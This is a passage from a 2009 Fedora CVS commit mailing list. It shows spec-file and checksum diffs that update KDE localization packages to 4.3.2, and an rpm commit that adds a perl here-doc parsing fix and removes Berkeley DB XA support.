 Provides: %{name}-hu = %{version}-%{release}
 
 %description Hungarian
@@ -380,7 +377,7 @@ Hungarian language support for KDE
 %package Indonesian
 Summary: Indonesian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-id = %{version}-%{release}
 
 %description Indonesian
@@ -389,7 +386,7 @@ Indonesian language support for KDE
 %package Icelandic
 Summary: Icelandic language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-is = %{version}-%{release}
 
 %description Icelandic
@@ -398,7 +395,7 @@ Icelandic language support for KDE
 %package Italian
 Summary: Italian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-it = %{version}-%{release}
 
 %description Italian
@@ -407,7 +404,7 @@ Italian language support for KDE
 %package Japanese
 Summary: Japanese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ja = %{version}-%{release}
 
 %description Japanese
@@ -416,7 +413,7 @@ Japanese language support for KDE
 %package Kannada
 Summary: Kannada language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-kn = %{version}-%{release}
 
 %description Kannada
@@ -425,7 +422,7 @@ Kannada language support for KDE
 %package Kashubian
 Summary: Kashubian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-csb = %{version}-%{release}
 
 %description Kashubian
@@ -434,7 +431,7 @@ Kashubian language support for KDE
 %package Kazakh
 Summary: Kazakh language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-kk = %{version}-%{release}
 
 %description Kazakh
@@ -443,7 +440,7 @@ Kazakh language support for KDE
 %package Khmer
 Summary: Khmer language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-km = %{version}-%{release}
 
 %description Khmer
@@ -452,7 +449,7 @@ Khmer language support for KDE
 %package Korean
 Summary: Korean language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ko = %{version}-%{release}
 
 %description Korean
@@ -461,7 +458,7 @@ Korean language support for KDE
 %package Kurdish
 Summary: Kurdish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ku = %{version}-%{release}
 
 %description Kurdish
@@ -470,7 +467,7 @@ Kurdish language support for KDE
 %package Lao
 Summary: Lao language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-lo = %{version}-%{release}
 
 %description Lao
@@ -479,7 +476,7 @@ Lao language support for KDE
 %package Lithuanian
 Summary: Lithuanian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-lt = %{version}-%{release}
 
 %description Lithuanian
@@ -488,7 +485,7 @@ Lithuanian language support for KDE
 %package Latvian
 Summary: Latvian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-lv = %{version}-%{release}
 
 %description Latvian
@@ -497,7 +494,7 @@ Latvian language support for KDE
 %package LowSaxon
 Summary: Low Saxon language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-nds = %{version}-%{release}
 
 %description LowSaxon
@@ -506,7 +503,7 @@ Low Saxon language support for KDE
 %package Maori
 Summary: Maori language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-mi = %{version}-%{release}
 
 %description Maori
@@ -515,7 +512,7 @@ Maori language support for KDE
 %package Macedonian
 Summary: Macedonian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-mk = %{version}-%{release}
 
 %description Macedonian
@@ -524,7 +521,7 @@ Macedonian language support for KDE
 %package Maithili
 Summary: Maithili language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-mai = %{version}-%{release}
 
 %description Maithili
@@ -533,7 +530,7 @@ Maithili language support for KDE
 %package Malayalam
 Summary: Malayalam language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ml = %{version}-%{release}
 
 %description Malayalam
@@ -542,7 +539,7 @@ Malayalam language support for KDE
 %package Maltese
 Summary: Maltese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-mt = %{version}-%{release}
 
 %description Maltese
@@ -551,7 +548,7 @@ Maltese language support for KDE
 %package Marathi
 Summary: Marathi language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-mr = %{version}-%{release}
 
 %description Marathi
@@ -560,7 +557,7 @@ Marathi language support for KDE
 %package Nepali
 Summary: Nepali language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ne = %{version}-%{release}
 
 %description Nepali
@@ -569,7 +566,7 @@ Nepali language support for KDE
 %package Dutch
 Summary: Dutch language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-nl = %{version}-%{release}
 
 %description Dutch
@@ -578,7 +575,7 @@ Dutch language support for KDE
 %package NorthernSami
 Summary: Northern Sami language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-se = %{version}-%{release}
 
 %description NorthernSami
@@ -587,7 +584,7 @@ Northern Sami language support for KDE
 %package Norwegian
 Summary: Norwegian (Bokmaal) language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-no = %{version}-%{release}
 
 %description Norwegian
@@ -596,7 +593,7 @@ Norwegian (Bokmaal) language support for
 %package Norwegian-Nynorsk
 Summary: Norwegian (Nynorsk) language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-nn = %{version}-%{release}
 
 %description Norwegian-Nynorsk
@@ -605,7 +602,7 @@ Norwegian (Nynorsk) language support for
 %package Occitan
 Summary: Occitan language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-oc = %{version}-%{release}
 
 %description Occitan
@@ -614,7 +611,7 @@ Occitan language support for KDE
 %package Polish
 Summary: Polish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-pl = %{version}-%{release}
 
 %description Polish
@@ -623,7 +620,7 @@ Polish language support for KDE
 %package Portuguese
 Summary: Portuguese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-pt = %{version}-%{release}
 
 %description Portuguese
@@ -632,7 +629,7 @@ Portuguese language support for KDE
 %package Punjabi
 Summary: Punjabi language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-pa = %{version}-%{release}
 
 %description Punjabi
@@ -641,7 +638,7 @@ Punjabi language support for KDE
 %package Brazil
 Summary: Brazil Portuguese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-pt_BR = %{version}-%{release}
 
 %description Brazil
@@ -650,7 +647,7 @@ Brazil Portuguese language support for K
 %package Romanian
 Summary: Romanian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ro = %{version}-%{release}
 
 %description Romanian
@@ -659,7 +656,7 @@ Romanian language support for KDE
 %package Russian
 Summary: Russian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ru = %{version}-%{release}
 
 %description Russian
@@ -668,7 +665,7 @@ Russian language support for KDE
 %package Slovak
 Summary: Slovak language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-sk = %{version}-%{release}
 
 %description Slovak
@@ -677,7 +674,7 @@ Slovak language support for KDE
 %package Slovenian
 Summary: Slovenian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-sl = %{version}-%{release}
 
 %description Slovenian
@@ -686,7 +683,7 @@ Slovenian language support for KDE
 %package Serbian
 Summary: Serbian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-sr = %{version}-%{release}
 
 %description Serbian
@@ -695,7 +692,7 @@ Serbian language support for KDE
 %package Swedish
 Summary: Swedish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-sv = %{version}-%{release}
 
 %description Swedish
@@ -704,7 +701,7 @@ Swedish language support for KDE
 %package Tamil
 Summary: Tamil language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ta = %{version}-%{release}
 
 %description Tamil
@@ -713,7 +710,7 @@ Tamil language support for KDE
 %package Tajik
 Summary: Tajik language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-tg = %{version}-%{release}
 
 %description Tajik
@@ -722,7 +719,7 @@ Tajik language support for KDE
 %package Thai
 Summary: Thai language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-th = %{version}-%{release}
 
 %description Thai
@@ -731,7 +728,7 @@ Thai language support for KDE
 %package Turkish
 Summary: Turkish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-tr = %{version}-%{release}
 
 %description Turkish
@@ -740,7 +737,7 @@ Turkish language support for KDE
 %package Ukrainian
 Summary: Ukrainian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-uk = %{version}-%{release}
 
 %description Ukrainian
@@ -749,7 +746,7 @@ Ukrainian language support for KDE
 %package Venda
 Summary: Venda language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ven = %{version}-%{release}
 
 %description Venda
@@ -758,7 +755,7 @@ Venda language support for KDE
 %package Vietnamese
 Summary: Vietnamese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-vi = %{version}-%{release}
 
 %description Vietnamese
@@ -767,7 +764,7 @@ Vietnamese language support for KDE
 %package Walloon
 Summary: Walloon language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-wa = %{version}-%{release}
 
 %description Walloon
@@ -776,7 +773,7 @@ Walloon language support for KDE
 %package Xhosa
 Summary: Xhosa (a Bantu language) support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-xh = %{version}-%{release}
 
 %description Xhosa
@@ -785,7 +782,7 @@ Xhosa (a Bantu language) support for KDE
 %package Chinese
 Summary: Chinese (Simplified Chinese) language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-zh_CN = %{version}-%{release}
 
 %description Chinese
@@ -794,7 +791,7 @@ Chinese (Simplified Chinese) language su
 %package Chinese-Traditional
 Summary: Chinese (Traditional) language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-zh_TW = %{version}-%{release}
 
 %description Chinese-Traditional
@@ -875,6 +872,10 @@ rm -rf %{buildroot}%{_kde4_docdir}/HTML/
 %clean
 rm -rf %{buildroot}
 
+
+%files
+# empty
+
 %if %{buildall}
 %files Afrikaans
 %defattr(-,root,root)
@@ -1041,6 +1042,7 @@ rm -rf %{buildroot}
 %defattr(-,root,root)
 %lang(eu) %{_datadir}/locale/eu/LC_MESSAGES/*
 %lang(eu) %{_datadir}/locale/eu/entry.desktop
+%lang(eu) %{_kde4_docdir}/HTML/eu
 
 %if %{buildall}
 %files Farsi
@@ -1105,6 +1107,7 @@ rm -rf %{buildroot}
 %lang(he) %{_datadir}/locale/he/LC_MESSAGES/*
 %lang(he) %{_datadir}/locale/he/entry.desktop
 %lang(he) %{_kde4_appsdir}/klettres/he
+%lang(he) %{_kde4_docdir}/HTML/he
 
 %files Hindi
 %defattr(-,root,root)
@@ -1115,6 +1118,7 @@ rm -rf %{buildroot}
 %defattr(-,root,root)
 %lang(hr) %{_datadir}/locale/hr/LC_MESSAGES/*
 %lang(hr) %{_datadir}/locale/hr/entry.desktop
+%lang(hr) %{_datadir}/locale/hr/LC_SCRIPTS
 
 %files Hungarian
 %defattr(-,root,root)
@@ -1210,6 +1214,7 @@ rm -rf %{buildroot}
 %lang(nds) %{_kde4_appsdir}/ktuberling/sounds/nds*
 %lang(nds) %{_kde4_appsdir}/katepart/syntax/logohighlightstyle.nds.xml
 %lang(nds) %{_kde4_appsdir}/kturtle/examples/nds
+%lang(nds) %{_kde4_docdir}/HTML/nds
 
 %files Latvian
 %defattr(-,root,root)
@@ -1324,6 +1329,7 @@ rm -rf %{buildroot}
 %lang(pl) %{_kde4_appsdir}/khangman/pl.txt
 %lang(pl) %{_kde4_appsdir}/kvtml/pl
 %lang(pl) %{_kde4_docdir}/HTML/pl
+%lang(pl) %{_mandir}/pl/*/*
 
 %files Portuguese
 %defattr(-,root,root)
@@ -1495,7 +1501,14 @@ rm -rf %{buildroot}
 %lang(zh_TW) %{_datadir}/locale/zh_TW/entry.desktop
 %lang(zh_TW) %{_kde4_docdir}/HTML/zh_TW
 
+
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
+* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-3
+- main virtual subpkg
+
 * Sat Sep 05 2009 Than Ngo <than at redhat.com> - 4.3.1-2
 - add missing Croatian localization
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kde-l10n/F-10/sources,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- sources	5 Sep 2009 02:56:30 -0000	1.27
+++ sources	6 Oct 2009 12:26:19 -0000	1.28
@@ -1,57 +1,57 @@
-c8c1693b21bb3bde8903247288fd3859  kde-l10n-ar-4.3.1.tar.bz2
-fdc30435d4ac28b6113e9add14d728f3  kde-l10n-bg-4.3.1.tar.bz2
-c95e4fbb0ef37dfebedb7e0df62c9683  kde-l10n-bn_IN-4.3.1.tar.bz2
-18cf7a34ce6d7ffa4c38a56cb17e0fbb  kde-l10n-ca-4.3.1.tar.bz2
-bf81e4c48b250d3c8f1ecbfb80377a59  kde-l10n-csb-4.3.1.tar.bz2
-62d5a25f8f3cc2b2004525ecd69716a8  kde-l10n-cs-4.3.1.tar.bz2
-ec96cfdb8516e4d2db83a65bf403a421  kde-l10n-da-4.3.1.tar.bz2
-d379f16c94661c8068b068f8f58d1d40  kde-l10n-de-4.3.1.tar.bz2
-8ac584b59a437082a57e7be3d473f90e  kde-l10n-el-4.3.1.tar.bz2
-6968cf5e2a49aa21758115051c5f4940  kde-l10n-en_GB-4.3.1.tar.bz2
-31b3f07ce55dc8aae6bec971f338bcf3  kde-l10n-es-4.3.1.tar.bz2
-0dae18323c2c4ea560fd7bc25ecddffb  kde-l10n-et-4.3.1.tar.bz2
-eecc074d5328fb1429a9d1ac36bf96f0  kde-l10n-eu-4.3.1.tar.bz2
-34bd78b5686ab86335b2074468a95822  kde-l10n-fi-4.3.1.tar.bz2
-f6479abd82fafc1b32660d724a20cd35  kde-l10n-fr-4.3.1.tar.bz2
-e61c44e6f25efc33c02b1af0fc61076b  kde-l10n-ga-4.3.1.tar.bz2
-9104d134a008c1a0e610084139768a27  kde-l10n-gl-4.3.1.tar.bz2
-3134ea1fa9069e735ae884ec53ff51fa  kde-l10n-gu-4.3.1.tar.bz2
-e7c36e7bfac29b6f35e5f9f595bd3fee  kde-l10n-he-4.3.1.tar.bz2
-e6ef88ac651f31527fde274030fe29ae  kde-l10n-hi-4.3.1.tar.bz2
-f535c3f52fe6fd6dd62f47cf3b050c72  kde-l10n-hu-4.3.1.tar.bz2
-1ffcfc820005647e0a005e263a9f1805  kde-l10n-is-4.3.1.tar.bz2
-66db81f855de8c62c077361dab4eeb1c  kde-l10n-it-4.3.1.tar.bz2
-15e9b5a45a6236139342151e2a80b6cc  kde-l10n-ja-4.3.1.tar.bz2
-7673863d17d0c8b959eff3e8cef7eb5c  kde-l10n-kk-4.3.1.tar.bz2
-1edb34c62a7267f2e0ab221f16c87f97  kde-l10n-km-4.3.1.tar.bz2
-f9d545f3adbf0917dce523555319d6cd  kde-l10n-kn-4.3.1.tar.bz2
-a1bc1560b7c20d2e1bd9e3004b2a75f7  kde-l10n-ko-4.3.1.tar.bz2
-8e471b1e2af1c6cf4ee2c94fe0e61068  kde-l10n-ku-4.3.1.tar.bz2
-f22f07e005140407de1c91f5e8c6b014  kde-l10n-lt-4.3.1.tar.bz2
-870daf8a524c2540bf68b7db0a40b418  kde-l10n-lv-4.3.1.tar.bz2
-16ab057fbe49091a1b1b165c68748c63  kde-l10n-mai-4.3.1.tar.bz2
-225c1583a846661569e43073164de493  kde-l10n-mk-4.3.1.tar.bz2
-2098d129f0f337436ddfa8deec1fb01a  kde-l10n-ml-4.3.1.tar.bz2
-f9fb45491de0c96399cd0032939b051b  kde-l10n-mr-4.3.1.tar.bz2
-7c61e71082eb4f5ac795a7de4b7d2901  kde-l10n-nb-4.3.1.tar.bz2
-c6ad03ce2427d9729ff4cd64c6451ade  kde-l10n-nds-4.3.1.tar.bz2
-0a8a5be7c7c8810a46c19b4c164e6c53  kde-l10n-nl-4.3.1.tar.bz2
-20bf0fadb09e63d24f8032ac873e8bbc  kde-l10n-nn-4.3.1.tar.bz2
-b40dd8e5a6cf56b8cce539ffa1d0bcc7  kde-l10n-pa-4.3.1.tar.bz2
-695910cebb609f309a5f9d3e8ddbb9d6  kde-l10n-pt_BR-4.3.1.tar.bz2
-57437289c3e058f44e60fb8fa452445d  kde-l10n-pt-4.3.1.tar.bz2
-3526fd6b5c1700aad12a3c13e67d2758  kde-l10n-ro-4.3.1.tar.bz2
-656297b8627cf9bc1db089654c674d32  kde-l10n-ru-4.3.1.tar.bz2
-b096baa157d4bcf5f01f8a6d5a1ee405  kde-l10n-sk-4.3.1.tar.bz2
-f1019fbba6989d90b3512bab1bb3a436  kde-l10n-sl-4.3.1.tar.bz2
-08835b959267532a05de9805ff07935a  kde-l10n-sr-4.3.1.tar.bz2
-02168b49698842860329b3de9ff19487  kde-l10n-sv-4.3.1.tar.bz2
-1eb1ca133761be4ff4ce3d0e7f256c97  kde-l10n-tg-4.3.1.tar.bz2
-555af7ceff07e1aaa15f7e0c2a8cf2cc  kde-l10n-th-4.3.1.tar.bz2
-f705391dccc8557e0d9b874c0c2d3597  kde-l10n-tr-4.3.1.tar.bz2
-6bafe18044438254e118bb97319bff6d  kde-l10n-uk-4.3.1.tar.bz2
-8647f0ac0335a6894d39e0fb93bc3af5  kde-l10n-wa-4.3.1.tar.bz2
-44f8d8587820c9e206ff1e2cccf6f8bf  kde-l10n-zh_CN-4.3.1.tar.bz2
-2cb73314fdb32800bcd254bd84ed45c8  kde-l10n-zh_TW-4.3.1.tar.bz2
-7c341ebe674c954ca3e507545953a49b  kde-l10n-pl-4.3.1.tar.bz2
-7aace91ae8acd9333541eeed5438e45a  kde-l10n-hr-4.3.1.tar.bz2
+845a87a6fb8e274b9faf2b3e8ae05145  kde-l10n-ar-4.3.2.tar.bz2
+3330acdacb9ea687b3c883c5e175f3d7  kde-l10n-bg-4.3.2.tar.bz2
+3a646527d0d0a403797099787c987d12  kde-l10n-bn_IN-4.3.2.tar.bz2
+0df7312f62deabb6231135bc33f11f7a  kde-l10n-ca-4.3.2.tar.bz2
+d80aa0c3f1ff780328d3ac482da5d5aa  kde-l10n-csb-4.3.2.tar.bz2
+5e8218126b5529e6198a8fc4677ab2ed  kde-l10n-cs-4.3.2.tar.bz2
+5cd8285c55d39c0d74f74bdda3634f69  kde-l10n-da-4.3.2.tar.bz2
+af19e1c28b6cb27ae6928f9080ff67bc  kde-l10n-de-4.3.2.tar.bz2
+0f23ad4490306b55e2382883a3d03fae  kde-l10n-el-4.3.2.tar.bz2
+82fcc17d3927235cff6c683b12bfc46c  kde-l10n-en_GB-4.3.2.tar.bz2
+997dd53c79aceea07ba1f46b81edb1f3  kde-l10n-es-4.3.2.tar.bz2
+7528c8189ed344e129ca87474c908d7b  kde-l10n-et-4.3.2.tar.bz2
+c313a881d5d4275e78da42624c7d2b72  kde-l10n-eu-4.3.2.tar.bz2
+9bfd2944045e87b005f6c67e6f70b228  kde-l10n-fi-4.3.2.tar.bz2
+ef7f3a2bcc29b31af739265a70cd01e2  kde-l10n-fr-4.3.2.tar.bz2
+2763e1ad527205160997684e8fdba0a0  kde-l10n-ga-4.3.2.tar.bz2
+a8056265e3838efca737abd6986718be  kde-l10n-gl-4.3.2.tar.bz2
+592322e3f755067c9bff960fb96948e2  kde-l10n-gu-4.3.2.tar.bz2
+02d68df9f8717d277a384b15d372aeed  kde-l10n-he-4.3.2.tar.bz2
+bc4225d8eeb2c648354eec1a79bb3558  kde-l10n-hi-4.3.2.tar.bz2
+2628f02cb3e1fd20d678437101470645  kde-l10n-hr-4.3.2.tar.bz2
+3ccdb46e3005bde325c45334d0073470  kde-l10n-hu-4.3.2.tar.bz2
+900a15881c7377f7921bbb0df3caf729  kde-l10n-is-4.3.2.tar.bz2
+3cfbb949b349a906f57def2c89f2c2ae  kde-l10n-it-4.3.2.tar.bz2
+1ca9a0e6f75ef439b1dc88d7c296a8a3  kde-l10n-ja-4.3.2.tar.bz2
+791fb8901976bbc36b39ec2b2d7f6029  kde-l10n-kk-4.3.2.tar.bz2
+81715c650925f13710a8d1b392bebe12  kde-l10n-km-4.3.2.tar.bz2
+042925c6ed9cadc79724bee269ee0f65  kde-l10n-kn-4.3.2.tar.bz2
+7d647e695d3d2876a7e13505b031d5db  kde-l10n-ko-4.3.2.tar.bz2
+15780380183dc634432a5ccb8ec2d64d  kde-l10n-ku-4.3.2.tar.bz2
+38f82eed9070bbeabdb51a4896b9d163  kde-l10n-lt-4.3.2.tar.bz2
+65ee66d320e3ebaff80ceb99b1bad57f  kde-l10n-lv-4.3.2.tar.bz2
+e640d6641063ea5d456e0d7cebec1076  kde-l10n-mai-4.3.2.tar.bz2
+9b766deb486b27d1352a74692080bd75  kde-l10n-mk-4.3.2.tar.bz2
+f67feb93c8623950e764e2462797194c  kde-l10n-ml-4.3.2.tar.bz2
+d5bce17fb1035cd120c9ae010210ddf9  kde-l10n-mr-4.3.2.tar.bz2
+8c0546118de40edb0f1bc94cc039b5b6  kde-l10n-nb-4.3.2.tar.bz2
+85b56e0f003c1120ff594cc5c15be857  kde-l10n-nds-4.3.2.tar.bz2
+dcfae722fdffbf206f1eca58351929b8  kde-l10n-nl-4.3.2.tar.bz2
+ab6bdb6c5f24a94854d3d86f53719ec8  kde-l10n-nn-4.3.2.tar.bz2
+c59e70fc4a903465e5c249001d0da9a9  kde-l10n-pa-4.3.2.tar.bz2
+cbfce0042af8a9990da704d1235482dc  kde-l10n-pl-4.3.2.tar.bz2
+4816f831c718dc5ec46aa2061e426b6c  kde-l10n-pt_BR-4.3.2.tar.bz2
+f4bbea70d7b3b4ddfe35da223bd0d71d  kde-l10n-pt-4.3.2.tar.bz2
+d2ce5f6159812a46be8bd90450a40d67  kde-l10n-ro-4.3.2.tar.bz2
+a305436d6b05dcd7c50df6fa9da57797  kde-l10n-ru-4.3.2.tar.bz2
+e991a942e6257151bea80f79e23c376d  kde-l10n-sk-4.3.2.tar.bz2
+b8ff0a9ff8e57a7d4b569e0447870604  kde-l10n-sl-4.3.2.tar.bz2
+928477630a257358e96bf8952cd1afd1  kde-l10n-sr-4.3.2.tar.bz2
+214f1215d14173a48513ccb89562c9e0  kde-l10n-sv-4.3.2.tar.bz2
+c9d0fad8838646d324390d60ff61ae3f  kde-l10n-tg-4.3.2.tar.bz2
+3dd5b9046b73cca4969b5b7c13538a8c  kde-l10n-th-4.3.2.tar.bz2
+bc4b5a8f76ec00860b31e0cb487ec675  kde-l10n-tr-4.3.2.tar.bz2
+cdaa98c18c7c484fa1133e35e188f18d  kde-l10n-uk-4.3.2.tar.bz2
+dfee77469f5a35e1eb464c162ae0c085  kde-l10n-wa-4.3.2.tar.bz2
+51313b7654a381ad22c2c467129bc331  kde-l10n-zh_CN-4.3.2.tar.bz2
+ccf254b30c4286a7980aebf2e3b98cc1  kde-l10n-zh_TW-4.3.2.tar.bz2



From pmatilai at fedoraproject.org  Tue Oct  6 12:33:28 2009
From: pmatilai at fedoraproject.org (Panu Matilainen)
Date: Tue,  6 Oct 2009 12:33:28 +0000 (UTC)
Subject: rpms/rpm/devel rpm-4.7.1-perl-heredoc.patch, NONE,
	1.1 rpm-4.7.1-remove-db4-xa.patch, NONE, 1.1 rpm.spec, 1.361, 1.362
Message-ID: <20091006123328.8EEA711C00C1@cvs1.fedora.phx.redhat.com>

Author: pmatilai

Update of /cvs/pkgs/rpms/rpm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25312

Modified Files:
	rpm.spec 
Added Files:
	rpm-4.7.1-perl-heredoc.patch rpm-4.7.1-remove-db4-xa.patch 
Log Message:
- fix build with BDB 4.8.x by removing XA "support" from BDB backend
- perl dep extractor heredoc parsing improvements (#524929)
- update extra-provides patch status (its upstream now)


rpm-4.7.1-perl-heredoc.patch:
 perl.req |    8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

--- NEW FILE rpm-4.7.1-perl-heredoc.patch ---
commit 007218488a33678c66b19b34ab1ef9fd2ffaec9e
Author: Ville Skytt? <ville.skytta at iki.fi>
Date:   Tue Sep 22 21:11:20 2009 +0300

    Improve perl.req here-doc skipping.
    
    This version is stricter in finding the end identifier by using equality test
    instead of a regex (as a side effect, fixes rhbz#524929) as well as parsing
    quoted identifiers, and adds support for identifiers in backticks.
    (cherry picked from commit dab575b24498e2362845e7da6dc76015fa88b4a9)

diff --git a/scripts/perl.req b/scripts/perl.req
index 0d26346..4c08dcd 100755
--- a/scripts/perl.req
+++ b/scripts/perl.req
@@ -82,12 +82,14 @@ sub process_file {
     
     # skip the "= <<" block
 
-    if ( ( m/^\s*\$(.*)\s*=\s*<<\s*["'](.*)['"]/) ||
-         ( m/^\s*\$(.*)\s*=\s*<<\s*(.*);/) ) {
+    if ( ( m/^\s*\$(?:.*)\s*=\s*<<\s*(["'`])(.*)\1/) ||
+         ( m/^\s*\$(.*)\s*=\s*<<(\w*)\s*;/) ) {
       $tag = $2;
       while (<FILE>) {
-        ( $_ =~ /^$tag/) && last;
+        chomp;
+        ( $_ eq $tag ) && last;
       }
+      $_ = <FILE>;
     }
 
     # skip q{} quoted sections - just hope we don't have curly brackets

rpm-4.7.1-remove-db4-xa.patch:
 dbconfig.c |    3 ---
 1 file changed, 3 deletions(-)

--- NEW FILE rpm-4.7.1-remove-db4-xa.patch ---
commit 0482504290d9d2f065dd8cb0d0c697c788724db3
Author: Panu Matilainen <pmatilai at redhat.com>
Date:   Mon Sep 21 10:29:38 2009 +0300

    Remove XA "support" from the backend
    - it's removed from BDB 4.8.x and this has hardly ever done anything anyway
    (cherry picked from commit 510c6763ef745b308abd1cc6cec2a62119e87c9c)

diff --git a/lib/backend/dbconfig.c b/lib/backend/dbconfig.c
index e668036..2b16241 100644
--- a/lib/backend/dbconfig.c
+++ b/lib/backend/dbconfig.c
@@ -40,9 +40,6 @@ struct poptOption rdbOptions[] = {
 	NULL, NULL },
 #endif
 
- { "xa_create",	0,POPT_BIT_SET,	&db3dbi.dbi_cflags, DB_XA_CREATE,
-	NULL, NULL },
-
  { "create",	0,POPT_BIT_SET,	&db3dbi.dbi_oeflags, DB_CREATE,
 	NULL, NULL },
  { "thread",	0,POPT_BIT_SET,	&db3dbi.dbi_oeflags, DB_THREAD,


Index: rpm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rpm/devel/rpm.spec,v
retrieving revision 1.361
retrieving revision 1.362
diff -u -p -r1.361 -r1.362
--- rpm.spec	21 Sep 2009 13:25:25 -0000	1.361
+++ rpm.spec	6 Oct 2009 12:33:28 -0000	1.362
@@ -21,7 +21,7 @@
 Summary: The RPM package management system
 Name: rpm
 Version: %{rpmver}
-Release: 6%{?dist}
+Release: 7%{?dist}
 Group: System Environment/Base
 Url: http://www.rpm.org/
 Source0: http://rpm.org/releases/rpm-4.7.x/%{name}-%{srcver}.tar.bz2
